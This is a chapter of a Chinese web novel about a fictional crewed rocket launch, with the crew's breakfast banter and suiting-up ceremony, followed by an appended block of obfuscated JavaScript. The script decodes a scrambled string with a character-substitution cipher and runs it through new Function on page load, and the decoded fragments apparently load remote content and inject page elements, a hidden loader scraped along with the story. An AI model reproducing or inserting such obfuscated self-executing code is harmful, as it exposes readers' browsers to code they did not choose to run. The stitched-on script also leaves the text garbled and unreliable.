李伟、林炬、杰夫·贝索斯、马一龙。
四个人上太空的时间被压缩到了1年以内，而且均是本国乃至世界航天界的重量级人物。
人们只感觉太空竞赛似乎进入了白热化阶段，私人航天的领头人一个个要上太空，大国航天局也在准备把重要负责人和科学家送上太空。
这与几十年前的差距不仅仅是勇气多少的问题，而是表明了一个趋势：从尤里·加加林时代算起，载人太空飞行的风险已经逐渐降低到了可控的程度，安全性已经极大提高。
60年代，为了争抢太空第一人的位置，前联盟是如何争取时间的？
联盟火箭一次造了4枚，只要有连续两次无人发射成果就把宇航员射上去，每一次发射就好像俄罗斯轮盘赌，谁都不知道会不会炸。
但随着太空事业的不断发展和成熟，并根据航天发射的检验严苛程度来看，火箭发射的成功率恐怕比飞机还要高一些。
……
7月6日，早上五点。
琼州航天发射中心1号工位，进步号-新远二号组合体推出总装大楼，抵达发射位。
根据多名气象专家的反复计算以及卫星实时更新的云图判断，今天全天天气良好，云量极少，雷击风险极小，是发射的最好时机。
燃料已经开始加注，而几天难以入睡的林炬却在昨天晚上睡了个安稳觉，此时刚刚被叫醒，和李伟、胡冬一起享用着早餐。
李伟披着绿色的大衣，恍惚之间又回到了13年前。
这一次他和那一年似乎没有区别，时间离发射越近就感觉过得越快，整个人一点睡意也没有。
即使知道自己马上就要再进入天空，他也是很自然地吃菜，处处显露着平静。
副指令长胡冬有些紧张，邓磊此时还在天宫空间站里，要9月或者10月才会下来，所以由他配合李伟一担任主副指令长。
单纯的飞行他已经拥有两次精力并不害怕，但同机的两个人太过重要，这些天他一直在演练各种紧急情况。
一个个万一在心里闪过，原本一直自信的胡冬突然觉得这次飞行处处都是风险，觉得就不应该进行。
林炬倒是很轻松，同桌的还有郭申和安德罗夫，两个人亲自带领对三架航天飞机完成维护。
对于系统以及工程师们林炬无条件信任，他相信这次发射会跟过去一样完美。
他甚至在和安德罗夫开玩笑：
“遗书我就不写了，要是我这个老板驾崩，就在天上看你们两个为了瓜分公司遗产打出狗脑子，然后下来陪我。”
郭申：“老板，其实我们马上就可以陪你。”
林炬：?
安德罗夫不知道从哪里掏出一个舱内宇航服头盔，一下放在桌子上。
“团结号也处于随时待命状态，要不您现在改主意，延迟五个小时，我们5个人坐团结号上去？”
林炬还没有回答，原本四平八稳的李伟差点被菜呛到，连连摆手：
“不行不行，你们训练都没做，而且航天发射任务不能改……”
“没事，他们开玩笑的。”
林炬及时出声打断了李伟的忧虑，并笑着指向桌子上的头盔：
“伱看就他那大脑袋能戴的上这头盔？怕是都没法转头，得定制才行吧。”
房间里响起了一片笑声，两个系统工程师策划的小小恶作剧成功让气氛彻底放松下来，三人笑着结束了丰盛但几乎没怎么动的早餐，只有装饺子的盘子明显少了一半，按惯例举起了酒杯。
5毫升葡萄酒下肚，林炬皱眉看着只剩淡淡紫红色的酒杯，深度怀疑自己是不是味觉退化了。
这5毫升葡萄酒的酒精含量怕是枚一个达利园蛋黄派多，怪不得李伟第一次上天前也喝了，这点酒精别说对人产生影响，连多回味一秒都做不到。
好在他也不是酒鬼，仅仅是一句吐槽，并没有意犹未尽的意思。
三人坐上了楼下早早等待的商务车，抵达了发射中心，他们将在这里更换航天服。
一进更衣室，身穿连体衣的林炬看到了航天局大佬和发射管理中心的几位领导。
他没有意外，对方也是笑眯眯地打了招呼：
“三位，我代表航天局和发射管理中心对你承诺，琼州航天发射场7月6日发射状况极佳，天气良好，我们做出100%保证，发射和测控体系绝对安全，绝对可靠，绝对保证你们的安全。”
从大佬的口中能说出百分之百，林炬已经能想象到他们是怎样将配套设施检查了一遍又一遍，恐怕连发射场的沙子都排查到了。
李伟敬礼，高声喊道：“进步号遥六发射任务乘组，全体乘员状况良好，可以执行载人飞行任务！”
林炬也严肃了些，先是对大佬说道：“虽然我也是乘员，但我还是在这里说H1系列已经经受住了多次考验，我代表新远公司保证进步号绝对可靠，同样也有100%的信心。
黄局长，”他又转头看向已经快要成为消防队长的发射管理局局长：
“这一新远的火箭应该不会点燃这里的树了。”
黄局长：“如果烧几棵树就能保证发射成功，就算是把这里的树都点了也没关系，我还要亲自去点。”
“……”
别说，如果是在其他国家，这还真能成惯例。
和那个尿在宇航服里的倒霉蛋谢泼德不同，加加林出发前对着转送人员的巴士后轮胎清空余量，于是接下来每一次“联盟”发射任务的乘员都要这么来一遍，已经成为惯例……
林炬觉得这种仪式就没必要反复在华国上演了，感觉有点伤风败俗。
很快，三人在工作人员的帮助下穿好宇航服。
这批舱内宇航服质量轻到了只有14公斤，穿上并不怎么妨碍行动，相反手持的小空调就有6公斤。
手提空调将清爽的凉风源源不断冲入宇航服内，让人感觉不到一点闷热，就连贴身的连体衣和头套也是透气的，穿在身上很舒服。
乘组一起在旗帜下宣誓完成，也没有什么复杂的出征仪式。
后者已经在不断增多的商业发射中渐渐被取消，在一年以内，航天员出征已经不算是多么了不起的大事了，只有一个简单的流程而已。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();